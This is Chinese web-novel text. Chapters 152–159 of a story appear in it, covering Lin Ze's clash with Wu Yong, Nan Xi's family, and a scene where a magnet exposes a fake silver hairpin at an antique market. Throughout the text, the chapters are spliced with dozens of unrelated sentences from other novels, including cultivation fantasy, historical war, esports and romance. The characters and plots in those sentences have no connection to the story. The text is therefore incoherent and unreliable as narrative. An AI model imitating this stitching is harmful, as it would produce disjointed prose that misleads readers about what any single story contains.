宁也握着手机的手指渐渐的收紧,不知道过了多久她下了床,去了外面的阳台上给萧梁打了一个电话过去。 冷静下来的杨毅,觉得刚才下达的命令有问题,还用骑兵去寻找出口吗?只要让这些扑克武士带着去就行了,刚才竟然没想到,可现在想到了却也不晚,红桃勾为了表达忠心,二话没说,在杨毅的看押下,朝着来的出口走去。 看他们的打扮,好象是逃难的流民。不过,和携家带口的百姓不同,这些人走起路来呼呼风声,身上自然而然地带着一股杀气,一看就不是普通人。 将来,泗州军必然会一座城市一座城市啃过去,早一点熟悉攻城战比到时候再现学现用的好。 遇到不进来的,李三他们眼色一沉,极具压抑地眼神瞬间让路人不敢反抗,硬生生地被拉了进去。 嫦羲、云中子等人,忽然觉得一股玄妙法则传来,六识瞬间消失不见,不一会时间,突然眼前一亮,众人定神一望,已然身在不周山上空当中。 厉害到谁都惹不起?这在夜大上学的学生大半都是富裕人家名门之子,再怎么样都是有些势力的,这张营长就不怕夸下海口一会儿打脸了。 “正是。”太叔逸珩不知封湉为何要恐吓戏耍费殷雯,但还是点头回道。 权欲之下的贪婪如野火燎原,势不可挡,所到之处,尽皆卑躬屈膝为妄念的仆从。 不过杨奇比较特殊,虽然失去了一滴精血,但也没有受到多大的损耗,休息一段时间,在疗养一段时间,基本上也就可以恢复了,不会留下什么后遗症,哪怕现在被揍了一顿也不会。 “行动失败,痛苦被捕。”秀美的男子脸上带着浅浅的笑意说道,好像这件事情根本就和他没有任何的关系一样。 梁昊也不知道超级手机,是什么东西,但是在超级手机的帮助下,自己的身体,被诸天灭世大劫,直接改造成了最强的身体,任何东西将毁坏不了。 果不其然,太冥古王看到张三德如此莫样,以为他已经受了重伤,只是装作镇定而已,所以直接选择出手。 柳眉被气得:“我要给你爸打电话。”说着拿起手机走到了一边打了江希影的号码。 陈铭自从知道梁昊的强大后,知道了天外有天,人外有人,所以现在不像以前那样鲁莽了,先是向对方打声招呼,看看对方是什么人。 一想到自己还这么年轻,后半辈子的幸福就这样被钉住,宁初然现在不逃,等订婚宴办了,还怎么给自己争取机会。 关晓军听着火车的轰鸣声,总觉得自己忘记了一件很重要的事情,他想了想,开始从自己的前世记忆中逐步在脑海里推溯,还未等他想起来时,就听到远处铁道上传了惊天动地的一声巨响,震的地面都摇晃了起来。 玉龙仔细打量着茅弟,想要看破茅弟的修为境界,但是无论他如何努力都无法看破茅弟的深浅。 "你杀了我,我的主人一定会要你死得更惨的……"想到了墨白临死前的诅咒,想起了他那种凄厉的表情,连叶开心里都不禁觉得有点发冷。 干传销的欺骗亲戚朋友,那是脑子进屎的愚蠢行为,而这些骗子则是故意如此,专门拿熟人或者熟人的朋友开刀,并以此牟利。 该死!冷婆婆一时间脸上憋的通红,心中又惊又怒,因为她发现,自己在短时间内竟然已经奈何不了这座冰山。 “老大,依我看,你就不应该心软,就不开游戏,谁让他们输了呢!”颜萱坐在林迪身边,愤愤说道。 想到这里,噬魂魔犬连忙便要进入其中,只是他忽然神色一变,感觉到月灵仙子和古剑一的气息急速而来,已经遥遥的看到了遁光,哪怕是里面后手完好,恐怕也没有时间启动了。 古剑一一身武士服,身背古剑,声音低沉的说道,这身剑装他已经数十年没穿了,平日里只是作为大将统率着天命卫作战,很少有机会出手,但是此刻,他已经做好了战死的准备。 虽然大多数元婴期修士都能以一敌三,但是只要漏掉几只,就会给大军带来残酷的伤亡。 张角随便下达的一个命令,已经让脑子灵活的张牛角意识到了一些不同寻常的东西了。 在几位殿下下首坐下,卫螭埋头吃东西,反正也不明白,为啥李二陛下身体好好的会召他进宫,还是等人家李二陛下自己揭开谜题吧。这种谜题最好不要自己猜,很累不说,还不一定对,帝王心思最难测,卫螭不想自讨苦吃。 第一卷 第152章 他就这么……走了? 抬眼看向面前的林泽,吴庸有些懵。 怎么回事? 林泽转性了? 平日里,他一向少言寡语,怎么今天的攻击性这么强? 几天以前。 他还肆无忌惮地挑衅,林泽所做出的应对,充其量也就是眼含怒火,最后收回目光。 那时候,他连大气都不敢出一声。 白伟海在烟味散尽之前给郝少敏戴回了面纱,并没有让她的外貌公之于众中。 她嗤笑,眉眼间也尽是嘲笑,是完全不相信会有这种可能性存在的。 秦睿锦盯着安然的身影看了半响,见安然压根没有要搭理他的意思,只得悻悻的坐在了椅子上,一扭头,却看到了一脸怒火的盯着安然的谢凌华。 从公主府出来以后,花非花就又开始骂街了:“要我说就不该帮那个什么飞鸡公主,什么人呢?我们帮了她她还咄咄逼人,真是气死我了。”花非花气呼呼的叉着腰说着。 可顾曦贞却十分清楚,赵三箐的死,魂体分离,各自消散,在数万年前,只有一种情况,才有可能。 最近事情太多,皇帝不是机器,也会觉得累,乱七八糟的事情最是叫人心烦。 但是大海没有人恢复样貌,很多熟悉的地方都不见,很多熟悉的海洋动物也不见。 好听的声音自耳边响起,距离近到她能感觉到耳廓旁喷薄的气息。 理性告诉他,这是两个不同的世界,是两个不同的人,没有必要为了刻板的历史形象,去影响当下的人际关系。 不说背景,人家自身的实力就不比自己差,还是当代有名的天骄。 林飞语背影孤傲,抬头冷冷的注视着众人,一些人眼神羞愧的低下了头,原本躺在地上痛哼的三伯,呆呆的看着林飞语。 时光战队准备给粉丝福利,除了拍正式的队服照外,他们还定了几个模式。 “有什么事让那个候家来找我!跟你没关系!就照我说的做,明白了吗?”顾雪舞睨向大堂经理,冷然道。 楚飞语回头,大步消失在两人眼中,黑煞紧绷的肌肉一松,深深地看了眼林飞语的银瞳,转身扬长而去。 前世这个时候,他忙着任务,开学都没有送裴轻轻去学校,所以也不知道她有没有舍友,所以自然不知道落嫣是一个凭空出现的人。 原来,那个她一直深爱的男人,真是没有背叛她,18年前,所有人都成为了楚家刻意安排下的棋子。最可伶的,莫过于他们这对苦命鸳鸯。 心想着冯绮雯只怕是有旁的事情,也知道冯绮雯是个懂事的,若是无事这个时候也不会要出去。 看着里面残破的景象,看着倒在血泊中的的店员,常海涛心如刀绞。 邢珅说着将手中的茶喝净,冯绮雯瞧着点点头,伸手接过邢珅手中的茶杯,替他再倒了一杯。 “现在的这个组织,应该很多年前,你所知道的要强很多,力量也更隐秘。”乔铭赫说道。 今儿个中午薛正和林老来的事情邱晨曦自然也是知道的,无奈她实在太忙了,分身乏术,都没时间好好打听一下,就听了那些人一耳朵说傅冉的男朋友来了。 这一刻,马英俊表情变得无的惊骇,甚至都不敢相信自己耳朵听到的一切了。 曹瑜一脸笑意地推门进去,她看到饭桌上的人,没见到顾子铭,脸上的笑容顿时淡下去。 第一卷 第153章 痛吧,痛了清醒! “小涵,我……好像骨折了!” 吴庸倒吸一口凉气,手指刚刚碰到手腕,突然又猛地缩回来。 五官几乎扭在一起。 本不想如此狼狈,可那撕裂一般的疼痛几乎让人承受不住。 “什么?” 唐若涵后知后觉,直到听到吴庸的声音,这才想到刚才他被林泽甩到地上了。 想到刚才的情形,唐若涵不由得皱紧眉头。 “你想要怎么样?”欧阳凝心面无表情地问了一句,似乎真的毫不在意肖铁牛的生死。 “美人财富,不过是红粉骷髅罢了,还望吴王殿下能够看破这虚空,放下屠刀,立地成佛,阿弥陀佛。”玄奘口宣佛号,显得有些神圣的样子。 然而,已经嗨到高~潮的酋并没有在意周围的眼光,毕竟现在好不容易轮到自己下船了不是? 屋子里低声的议论瞬间消失,众人都看向了代善,他们明白代善的这些话,可不是针对亲兵说的。 在游戏中受到袭击时,平常玩家首先会去寻找掩体,但要记住,这时千万不要原地趴下。 君无极就住在隔壁,他要是再不想办法清醒,说不定就要做出什么禽兽不如的事情来。 龙衫几乎是哭着喊着说出来的,不是因为他走了而痛苦,而是因为这家伙终于走了不再折磨自己了高兴的哭了起来。 “哎哎哎,等一下,先别急!”孙尧圣这边却是发现了不对劲,没有继续开枪。 “谁知道呢,这种局有外挂太正常了。至于有多少,听天由命吧,反正不还有猴子呢吗。”朱晓飞倒是一副乐天派的模样。 噗!最后一个黑衣人被洞穿了胸口,鲜血再一次淋了殷天叶全身,铠甲上现在已经没有任何一处完整的地方,全都被鲜血淋了个狗血淋头。 双手剑朝空中一扔,达瑞飞身跳起来,居然跳到双手剑的剑刃上,更让人吃惊的是,这把剑居然就这样浮在半空中,就算是达瑞这一百多斤的大活人踩在上面,也只是晃了两晃,没有一点要落下来的意思。 “四两叔!这水不是苦不拉几的苦水!”几个汉人带着马试了试,发现这个湖里的水居然能喝。 这样的方式来应对复仇者战队的团战,真的市很难很难。所以这一波真的算是死亡冲锋了。 顾熠一声声压抑的怒吼,让她的心一直提着,仿佛有什么东西流出来了一样。 武装战队最牛叉,在玉麒麟与岳琳琳的率领下,尤其是在项连音的次元商会的支持下,风骚程度已经达到了无可附加的地步,不管是攻击角度还是转战速度,都是无比的犀利,俨然成为所有部队中的主力。 众人基本上都是习惯了老族长的一言堂,没想到秦苍会和他们来这一出。大家领到了麦子,看着地上的碗都是怔怔的表情。 看着两姐妹心喜的样子,达瑞瞄了瞄旁边的哈里等人,咳了几声,阴阳怪气道。 数十名中统亲军已经包围此处。他们拿出了自己的枪,那是用水力钻床打出膛线的线膛枪。 在和林梦瑶说完话之后,容家爸爸一口气没有喘上去,直接晕了过去。 大花猫和柴犬蹲在椅子上眼睛都看直了,连想吃什么都忘记了,最后还是得靠最了解它们的夏师傅帮忙。 “锦衣卫的人手朕暂时给了周延儒。剩下的这里的安全就先全部交给贺人龙。”朱由检最后拍板。 第一卷 第154章 我们的女儿……被洗脑了! “我接着电话,合适吗?” 南希的声音轻飘飘的,一边看林泽,一边询问。 “有什么不合适?开车不能接电话。” 林泽话音刚落。 张军紧接着接上话茬。 “对,专注驾驶,安全第一!” “可是,是她。” 南希还是有些犹豫。 “谁啊?你就接呗,快让老林专注开车!” 张军开始催促,南希只好按下接听键,并且打开扬声器。 心里有鬼的谷姨娘,还有四姐姐,悄悄的捏了捏帕子,其他人也只是侧耳聆听。 月亮在云影之中穿梭,望着泥靡的大营,数日蛾蚁附攻,伤亡惨重,泥靡军队的士气低落,疲惫不堪。 柳弼之手一抖,银票差点掉到油灯上烧掉,心疼得他不顾火焰,一把抓住银票。 在空中划出了一道优美的抛物线,落到了唐昊身上,他刚想挣扎,瞬间化作了紫晶石像。 想必在今日早朝之后,这五位反对墨景宁的老臣也能够顺利安葬。 听得此言,虞归寒手上的动作微微一顿,面上也显露了几分不满来。 这可是地球特殊指挥部关心的事,可不能让这超级手机没有电池,停机了。 地面都被血染红了,鬼魅刚被唐昊一锤轰飞出去,落在地上不停的往外喷着鲜血。 “宫玥,是不是你搞的鬼?”白苒低吼,转头盯着宫玥,眯着眼。在香山悬崖边见他使过一次聚雾成冰,这若不是他搞的,她名字倒过来写。 董如只觉得所有声音都要即将离自己远去了,唯有下腹不停地在榨取着她,令她心力交瘁,精疲力歇,疼得她连嘶喊都喊不出声了,只轻声大喘气。 沉默,无声的沉默,而那人也是没有表情,好像丝毫不受卫七郎这样的影响,而是身子紧紧绷着,低着头漠然等命令。 虽然她没做过,但是蓝氏最擅长制衣,有什么不懂的只要去问蓝氏就好了。 看着艾巧巧急急跑出去的背影,夜离殇脸上表情重又变得冷凝肃穆,他换了衣裳,然后去了叶冰的屋子。 虽然不是衙门的那种二十多斤的重板,可打在身上却是一样的疼。 肖辰也是毫不犹豫地扣动了扳机,如此近的距离,在由合金枪打出的合金子弹,两个海族根本没有反应的余地,下一秒他们的眉心中弹,成为两具尸体。 “什么意思都没有!总之你跟我们走就成了!”男人拖着她就往外走。 “若……若姐姐,你去过京城吗?”陈三不由的问到,他不知道应该如何的称呼杜若,干脆就和陆十一样了。反正她比他大。 今天真特么是好日子,万俟陇西欺负我,连苏家的你们也来欺负我,真觉得老娘好欺负是不是? 刚打开,脸色便是整个阴沉下来,眸低煞气一闪而逝,紧紧盯着那盒子里的东西不说话,捏着盒子的手都是青筋凸显。 楚云果然是被这样的阵仗搞的哭笑不得,也非常地尴尬,他只是回来做个贼而已,没想到,过程居然会这样滑稽。 普通的战术中,中锋的移动范围是两个油漆区,进攻的时候在对方的篮下挤位置,防守的时候回到自己的篮下卡位置。个子最高的他们往返跑的路程最远,挤位卡位拼抢篮板,更是体力消耗严重。 不过龙夏倒是没有那么多的顾忌和矜持,直接就在自己的座位上坐了下来。 按照星辰大世界中境界的划分,这些人仅仅只是极变境大圆满的四阶极道武尊!当故事发展到最后,其中最厉害的几人也只是突破了极变境,迈入了超脱境而已。 第一卷 第155章 好一招以退为进! 接下来,整整十分钟。 客厅里,都是南希关于林泽的陈述。 南希的声音如同小溪流,时而欢快,时而缓慢。 南耀辉沉着一张脸,握紧的拳头,始终从不曾松开。 杨玉茹脸上满是担忧,不停地观察着父女二人的脸色。 海若希就那样突然推开了海奕東的手,飞蛾一般向着那个方向冲去。 可这对彼得来说却不太舒服,因为他感觉今天死去的是科索诺夫,或许未来死去的就是他了。 因为麻醉迷雾的热度和刚刚下了雨而起了一层薄薄的雾,有点莫名的诡异气氛。 盟主,黑雕剑符合欧阳世家的需求,但我们让谁拥有这把黑雕剑?这差事可不好随便委派,能拥有黑雕剑哪怕只是暂时拥有,那实力肯定不能低于地级中期。 鲁公秘籍,当真神奇至斯。能造出其中一物,便能护一国太平数代,便能繁荣一个家族数辈。 说完,自己先走上前,按着马局长家里的门铃,侧耳贴在防盗门上,仔细的听着。没人,确实没人,不但没人,狗都没了。 李菲菲还没开唱,周围就有许多人,高呼喜欢,可见她的人气也很高。 如此可怕的存在到底会给九天来了什么。是一次巨大的劫难。还是一次救赎。这谁也不知道。 鬼蝶一只手捏着下巴,一只手撑着身体,黝黑的眸子深不见底,更加看不出她在想什么。 在这一座云粉峰中,鸿景云的炼器天赋不能说最强,但是年轻一辈中,也算是属于顶级的层次,除了何云峰和南宫飞燕这两人,他倒不认为他的炼器之术会比谁差,就算是何云峰,如果运气好的话,他相信自己也能赢。 市教育局长那可是实职正处,凌志远的年龄最多也就二十七八岁而已,如此年轻便身居高位,这几乎是不可能的事。 青云上人的品味与其他矮人族有些不同,别的矮人族不是住山洞,就是住地洞。 绝世霸主黄悦容,成就赤脊门前所未有之巅峰,一统妖魔道,并开始将手伸向正道。天云道却相对比起来越发衰弱。 李巧也能感觉到它的存在,只是因为规则不全面,导致幽界陷入全面沉睡中,必须要等待足够多的时间,修复后,才能再度开启。 星空古路坚固万分,就算是彼岸强者大战,都是不能够在这星空古路之上留下太多的印记,而如今却是拥有着这么一条深深的沟壑,其之力,足以让人心惊。 不过本座这么机智的人,怎么可能没有办法呢。这么好的东西,留着下顿再吃呗,可惜爱莉是吃不到了,有些可惜。反正我都帮了南宫家这么多忙,不至于这点要求都不答应吧。 出产的依旧还是石人而不是铁人,这最后一次进化,似乎不是像之前那么简单。 神辉涌动,无俦的四股元气属性弥漫周身,其中的水属性光芒更是耀眼道了极致,如同深海的神光湛蓝无比。 李巧在边上看着苍白青年逐渐落入下风,一套套松林剑法使出,四灵崇阳剑似乎被对方的某套刀法牢牢克制住。剑意道意也被完全压制,显然对方已经无限逼近金丹境界。 她没忘记她说的话,倘若林天成能够逃出公孙九的手掌心,她可以答应林天成任何一个条件。 第一卷 第156章 我是南希,是我自己! 好消息是,虽然凌厉剑意一路追杀,我却能更为熟练的操控体内真气而速度丝毫未衰减,而体内真气运作由冲脉二湖轮流聚集,带经二湖已可蓄满还手之力。 关键就要看杨国忠是否同样有这个需求,要是他只满足于现状,或是如传闻那般不堪,自然也没有拉扯的必要。 谁也想象不到,美帝卡罗亚州的黑尼市内,此刻正是一番怎样的末日场景。 轻柔的拨弄了两下琴弦,淙淙之音把吴一凡拉回了神,“真是修仙者,可笑当初还想帮她们,嘿嘿……”心里一阵嘲讽。 何邵华倒也没有推辞,他在中海人脉很广,虽然地位都不是很高,但三教九流各行各业都有不少熟人。 这处空间的自然环境显然不能以常理论,不仅沙漠、雨林并存,沼泽、湖泊、草原也无一不缺。 当然,这些好处也不是白拿的。俗话说,皇城有人好办事,那些知县、知府大人,来京城办事,连衙门口朝哪儿开都不知道,更别说见皇帝一面了。 银发中年男子重新检查了一遍男子的尸体,同样是里里外外翻了个遍,最终什么都没翻到。 一路上,林寻将夺取的炼宝道气炼化,融入断刃之中,再度凝聚出一道本命宝纹。 饕餮老妖说道,不错,光明正殿的那些剑痕,便是吕纯阳当年困我于此的万剑剑阵,如今你已经破去,我便不再遭受着每日两次飞剑穿身的劫难,你说,我得怎样好好感谢你才对? “公爷,我等已经封闭了杀胡口,杀胡口中一丝消息都传不出去,就等着公爷前来了。”杨涛赶紧说道。 “老师!”那五大弟子同时悲戚,随即迅速的飞来,而其他几名弟子也将苦雨帝者放下,迅速的冲来。 “下面我宣布一下,各大县城得到法宝的情况!”叶烟雨轻轻掠起额头秀,自那日楚天逸拜师之后,便与苦雨等三名帝者进入了战圣山脉,不过却将十件法宝留了下去,一切交由叶烟雨去处理。 “大叔真绅士。”林黛笑嘻嘻看着王荣说道,王荣偷偷的抹了一把冷汗,有点心悸的看向林芳,林芳看着王荣的目光看了过来,不由自主的想起刚才的事情,脸上微微一红,对着王荣的视线竟然有点躲闪了。 有固城,有雄兵,那孙元化应该是高枕无忧了吧。可接下来看看孙元化的所作所为吧。 “将汉人尽数送到皮岛,这个镇江堡,给我烧了。”半个时辰之后,整个镇江堡都陷入了一片火海之中。建奴位于朝鲜边境的桥头堡就这样被李信一口气端了。 片刻之后,就见炮声隆隆,整个阵地上都是一片硫磺的气息,烟雾弥漫,声势为浩大,正在后面观战的高起潜连连点头。他在阵后看不出什么名堂来,看着如此气势,认为大炮取得了丰硕的战果。 “万大人听说李信击败燕掌,现在正驻扎在金沙滩。不敢南下。”探赶紧说道。 而云无天、云无玄、云无黄他们这些天神巅峰的强者相遇时,则是以平局收场,没有发生剧烈而精彩的争锋。 尘土散去,无生并没有出去,石像般挺立着,空空洞洞的眸子盯着、戳着上面。 此时,二人已经将其他人的目光吸引过来,众人纷纷含笑看着热闹。 白舒嘴角扬起淡淡的笑意,用手将那剑拿起来,触手只觉得冰凉厚重,他走到一颗树边,没怎么用力,用剑轻轻一刺,就将一颗脖子粗的树刺了个对穿。 卧室的门被打开,童乐郗从房间里走出来,视线从沙发上静坐的徐陌森身上扫过,随即便没有什么表情的移开了视线,嘴角平直,心情有着明显的不悦。 李豪挂完电话,回家打开电脑,查看手下给他筛选出的投资项目。向睿翰团队来公司一个礼拜,他们向李豪输送的第一个项目,是一家名为“同晨旅行”的旅游公司,想要融资扩张。 包括后续几天,陆续捐赠来的物品,总价值也没有比李豪更高的。 “是是是,少主教训的是,是我辜负了将军的信任,少主放心,我一定会彻查这件事的,给少主一个满意的交待。”闲大通急忙保证道。 霎时间,天地血煞之气狂躁涌动,搅得轮回海水翻腾咆哮,一道道滔天巨浪像一个个巨掌在血煞之气的推动下,重重地拍击着海岸,使大地颤抖,使轮回山摇晃。 倭兵隐隐感觉事情有些不妙,他赶紧又给土田军营打了个视频通讯。 此刻的宁安,由于之前发招过猛,使得全身灵气消耗殆尽,已经力竭。 确实,单论属性来看,两件装备都是极品。不过,大概是因为补偿而来的缘故,夜天明并没有太兴奋。 萧旭明白崔斌说的什么意思随即吃了颗药丸跑到了医疗室就是一顿打。 他觉得自己的工作没白做,累点算什么?在调查组的人面前被人夸赞,一切都值了。 夜之影的影再度消失,一个刺客现之后再度隐,这对对手来讲是一个极大的威慑。夜天明也不由得谨慎起来,夜之影再度现的话,必将释放狂风骤雨的攻击了。 为首的男子,身材微胖,一席蓝色锦衣,岁月的年轮,在他的耳边,留下鬓白,却丝毫掩盖不了他上位者的气息,这股气息,不是说对方有多么的强大,而是久居高位,渐渐形成的威严。 第一卷 第157章 装备我都带齐了! 南家别墅。 为了不让父亲看出倪端,南希特意在外停留了一会儿,估摸着时间差不多了,这才回去。 果然。 刚一进门,南耀辉赶紧起身,迫不及待的询问:“小希,怎么样?跟庞家的公子聊得还开心吗?” 独孤珏皱着眉头,没有立刻安慰,而是任由他们发泄一番。待得差不多时间,他便指挥着众村民着手处理这杂乱不堪的现场。 枯死的绿水之恩就没有用处了,只有一人高的高度,但宽度不够,做什么都差点。 “怎么会呢!我们来看看后方的大屏幕。”朴天佑指了指身后大屏幕,大屏幕上一个个采访视频播放了起来。 “放心,爸没事。”大概是已经接受了这个现实,所以欧震霆此刻,倒是完全平静了下来。 李赤水的事情,一直在影响着林平,李赤水他究竟知道一些什么事情?他为什么不对自己说? 刚一入山寨,一股狐臭味就迎面而来,哪吒再次愣了一下,这个气味他似乎哪里闻过,有点熟悉。 可是这一切并没有结束,就在众人人心惶惶的时候,意外的事情终于发生了。 自打记事起,除了爹娘和孙猴子,没人对她这么关心过,照顾过。 云沫的双手按在他的肩头,重重的压力和那种充满斗志的目光下,让大白菜生不出来反驳的话语。 “倒也是,你不会以后再开点酒吧、夜店、赌场什么的吧?”张望曦倒是能举一反三。 杂毛说罢,自顾自寻了个角落趴了下去,迅速进入深度睡眠状态。天狗一族,吞噬晋级是其得天独厚的优势,根本不费事,睡一觉就行了。 然而这样做,其实比打造道剑更难,毕竟一场连接了二十多年的因果,不是想斩断就能斩断的,若是出现问题,孙言很可能会万劫不复,在道剑的因果和打铁的人生中……无限沉沦。 风珮虽然尚不解爱妻之意,但也已顺从的配合出手,那净月净白两人见程雨溪故意胡搅蛮缠,曲解师意,正欲开口说教,却已被侠侣双刀逼至近前。 尤彩芳牙关紧咬、恶狠狠的挥出一扇,一团脸盆大的火球直奔面前那个可恶的战士。“嘭”的一声正中那面玄铁盾牌,火球炸开,火焰如跗骨之蛆附着在盾牌上并猛烈燃烧起来,原本黑色的玄铁盾几秒后变得一片通红。 甚至是严大人和金统领,也均是四肢发冷,停战看向声音传来的方向。 “白长老,请帮作见证人,保管我们的赌注。”林正朝白岩微微一抱拳,破界丹飞到白岩身前。 “呵……你觉得装傻充愣有意思吗?”顾盛汐现在越看许安好越不顺眼,感觉她一脸无辜又懵懂的样子比以前还让人讨厌。 见到灵脉出现,眨眼间就被人哄抢,萧鼎天目眦欲裂冲杀到灵脉边上,元婴大修的战力爆发,挥手间把周围的几名修士打成肉沫。 姬凌生接过木盒,掂了掂不重的分量,问道:“这是什么?”,商正挤眉弄眼的笑道:“仙丹!”,姬凌生怀疑的看了商正一眼,把朴实无华的盒子翻来翻去看了一遍,然后打开。 只见那翡翠鸡的鸡冠猛然亮了一下,然后整个山洞空间都出现了一股无形的吸力。 第一卷 第158章 小伙子,给你一个放大镜! “黑子,什么事?” 转身来到偏僻处,吴庸瞬间压低声音。 “老板一切都准备好了,随时可以出发。” “行,知道了,我马上回去。” 说完这句,吴庸将电话挂断,转身便要往外走。 “嘶——” 手腕处剧烈的疼痛传出,他这才意识到,还没有拿药。 “该死!” 小声咒骂一句后,吴庸再次到取药窗口排队。 …… 下午六点。 吸了一口气,吸了两口气,可是内心的动荡却是怎么都无法平静下来。啸月宗宗主看着陆峰,恍然间,他似乎想到了一个传说。 邹亮卖了个关子,其他人的好奇心就更重了,能让邹亮如此兴奋的,肯定是惊人之举。 他们整理好三素‘花’之后,王大师就拿出一个丹炉,然后开始讲述三素‘花’这三种‘花’的种种特‘性’,以及炼制过程时需要注意的一些变化,沈翔都认真听着,虽然他的丹术不同,但这些都是很有用的东西。 看着那两个出逃的修士在半空中被血秃鹰分尸,众人背上皆感到一股寒气。 “不用多想,四大王族之中,此刻应该是在施展什么秘术,向遥远的地方召唤什么。”轩辕摆了摆手,和声道。 江离听得暗道不错,虽然修真世界现在的人并没有那么强大,但是是他们不会利用资源,空在宝山,如果人类到了修真世界,各种资源全部利用起来,立刻就可以突飞猛进。 看着药天华那金光四闪的炼丹炉,沈翔心中就一阵嫉妒,他那拙劣的丹炉实在是太逊色了,许多人看见沈翔的炼丹炉,就认为沈翔输定了。 “我如果有什么反应,你们拿下他就是了,他还不是你们的对手。”萧湘淋倒是一点都不担心,轻笑着说道。 “莫再多言,听从师兄之言。”不听的俏面煞白,急急相劝苏景。 而那些巅峰种族,相互之间的来往更是无比的频繁。即便是和人族最敌视的冥族,除非是人族的绝顶人物,否则在冥族的境内最多就是遭到敌视,也不会有多少危险的。 而且,他的话,他那样的话,是否也是想要表明什么呢?他要把什么记在心里?把刚才被他说什么也没有发生的事情记在心里吗? 虽然宋国公嘴上说着还未同意,但这个态度其实距离同意也没差多少了。 闻声,那位工作人员点头应下,领着跟自己同来的同事便退了出去,顺手为他们关上房门。 王善保、夏婆子这些不配合他的人,已经因为他的出现而提前消失在红楼梦世界。 站在寨墙上的周瑞见兴儿与庄户们闲聊时的样子,就不由得想到了自己年轻时,也跟着赖大等下庄里去的场景,当时他也是这般既怜悯这些庄户,也在这些庄户的恭敬对待下倍觉有体面。 说着自己起身,弯腰也拉男人起来,俩人并排站在刘老家长面前。 梁菲儿被她周身气势所摄,脸色在渐渐褪去血色,微微发白,双唇紧抿,心底一股不安的情绪正在悄然放大。 武器的原理好像声波一般,他发出高频率的声音,可以影响到带有振金的武器。 但是对于自己而言, 那巨大的生物航母和入侵而来的外星士兵们,他们就是郝腕目前所需要的经验值。 酒宴已完,次日人家将家具,收拾起来拉了回去了,此事就告一段落。 “先生说笑了。是孤劳烦先生了。”。欧阳国主已然迎了上來。他满脸堆笑地与张骞客套了几句。才把目光投向我。 第159章 铜钱……洛洛 来旧货市场捡漏,肯定是要带点东西的。 刚才在车上,沈老爷子也有说起过。 手电筒放大镜那是必须的装备。 本来他们自己有带,但地摊老板送过放大镜来的时候,林泽还是礼貌地伸出手。 接过放大镜。 随后去接老银簪子。 突然。 “啪”的一声。 周围几个人瞬间目瞪口呆! 声音不大,脆脆的,细细的。 可这些许的声音却如同一道惊雷……炸了! 林泽的手停在半空当中,手里稳稳拿着放大镜。 可手腕上。 老银簪子却被稳稳地吸住了! “咋了?这……咋回事儿?” 地摊老板脸色当即变得难看,说话也磕磕绊绊。 对面过来看热闹的几个人已经笑起来,目光当中也多了一丝其他的意味。 一个年轻点的小伙子,当即出声。 “老板,你这簪子……纯不纯啊?” “怎么不纯,我告诉你,我这是从村子里淘来的,费老大劲了!” 地摊老板咽了一口唾沫,急于争辩之下,脖子伸出老长。 “我的东西是人家祖上传下来的,在非常时期,那家人差一点丢了性命,东西能不真吗?” 老板一脸郑重,可是他说得越多,对面的几个人笑得越厉害。 眼见地摊老板脸红脖子粗,小伙子直接来了一句。 “行了吧,说那么多都没有用,看看这!” 说着。 小伙子伸手指向林泽的手腕。 地摊老板目光看过来,似乎想让林泽给个解释。 林泽将放大镜倒了倒手,缓缓递给地摊老板。 接着。 众目睽睽之下,他又从手环上取下了“老银簪子。” “不好意思老板,这两天,睡眠不太好,医生让戴这个试试。” 林泽声音平静,脸上没有任何表情。 地摊老板的冷汗却开始往外冒。 真是该死啊! 刚才递放大镜的时候,怎么没有注意到他的手腕? 这小子隐藏的也太深了。 在旧货市场这么多年,他也见过形形**的磁铁。 有直接拿着磁铁块子过来的,他都见过。 可刚才这种像表链一样的东西,还真在他的眼皮底下给糊弄过去了。 缓过神来以后,地摊老板伸手挠了挠头发,努力在脸上挤出一丝平静。 “哦,睡眠不好啊,那就戴着试试,试试吧,如果感觉效果不行,你可以在我这买两贴膏药。” “我的膏药缓解疼痛,祛风止寒,肩周炎,老寒腿啥的都管用。” “这膏药是祖传的配方,解疼痛,治百病。” 林泽:“?” 南希:“……” 眼看着地摊老板开始卖膏药,林泽也只好顺着他的话往下说。 “好,谢谢老板,那我们先去前面转转?” “去吧去吧!” 话音还没有落。 地摊老板已经着急地摆手。 如果不是周围有人看着,估计都想伸手把人往前推了。 常来旧货市场的人都清楚,有些话点到为止。 真要较起真来,就是纯粹地跟人过不去了。 况且。 林泽也没想着要弄出什么动静。 于是,在地摊老板一番“热情”的推荐之下,沈泰安带着林泽和南希缓缓向前走去。 几米过后。 沈泰安嘴角扬起的弧度越来越高。 南希则是咬着嘴唇才没有让自己笑出声音。 “林泽,你太厉害了,快让我看看你那个磁铁!回头我也戴一个一模一样的。” “你喜欢?那给你。” 说着,林泽就要把手环摘下来。 “不,就戴你胳膊上吧,你戴着发挥的作用大!” 说到这里,南希再次眉眼弯弯。 甚至,还悄悄地在林泽这边靠了靠。 “刚才,我还真想看看你怎么鉴别呀,看那簪子的真伪,真没成想一个手环就搞定了。” 沈泰安的声音传出,林泽跟着转过头。 “这也是凑巧了,只能说明,那簪子里的含铁量太多,所以才会被吸住。” “也对,幸亏你这磁铁是戴在手腕上,就刚才那情形,咱们若是真的从包里掏出磁铁,估计那地摊的老板早就急眼了!” 沈泰安脸上的神情变得郑重,语气当中也掺杂了一丝庆幸。 看向林泽的目光,更是多了不少赞许。 小伙子可以! 心细,谨慎。 还能……顾全大局! 刚才场面一静的瞬间,沈泰安也是强忍着没有让情绪表露。 自己果然没有看错。 林泽可不像表面上那么简单,如果他到了自己这般年纪,绝对是有过之而无不及。 而且。 他还晓得看破不说破。 年纪轻轻能如此稳重,确实难得。 三个人一边走一边聊。 很快说到了仿品。 “其实,在这古玩一条街上还有不少人专门买假货。” 沈泰安笑意未减,缓缓说出一句。 林泽脸上没有什么表情。 旁边,南希直接瞪圆了眼睛。 “爷爷,那些人是什么心理,明知道是假的,还要买,那不是找着挨坑吗?他们为什么要这么做?” 南希不理解。 为了听清楚一些,她还专门上前一步,挽住了沈泰安的胳膊。 “小希啊,其实很多仿品,也很值钱。” “就像刚才的银元,如果只是现在工艺仿制,确实没有收藏价值,可若是百年前仿制的呢?” “如果现在真有那时候的仿品,也是很不错的。” 南希恍然大悟。 林泽眉头微皱。 档案库当中。 还真有假银元的记载。 林泽记得,档案页中写,第一枚假银元是个人手工作坊里磨出来的。 至于是什么私人作坊,档案中没有标明。 但是那枚**跟现在的仿制品绝对不能一概而论。 但是,第一枚假银元的制造工艺以及特点,档案中却描写得清清楚楚。 刚才。 林泽把报纸上的那些银元看了一个遍。 确定是统一的流水线作业。 所以才没有花多大的心思。 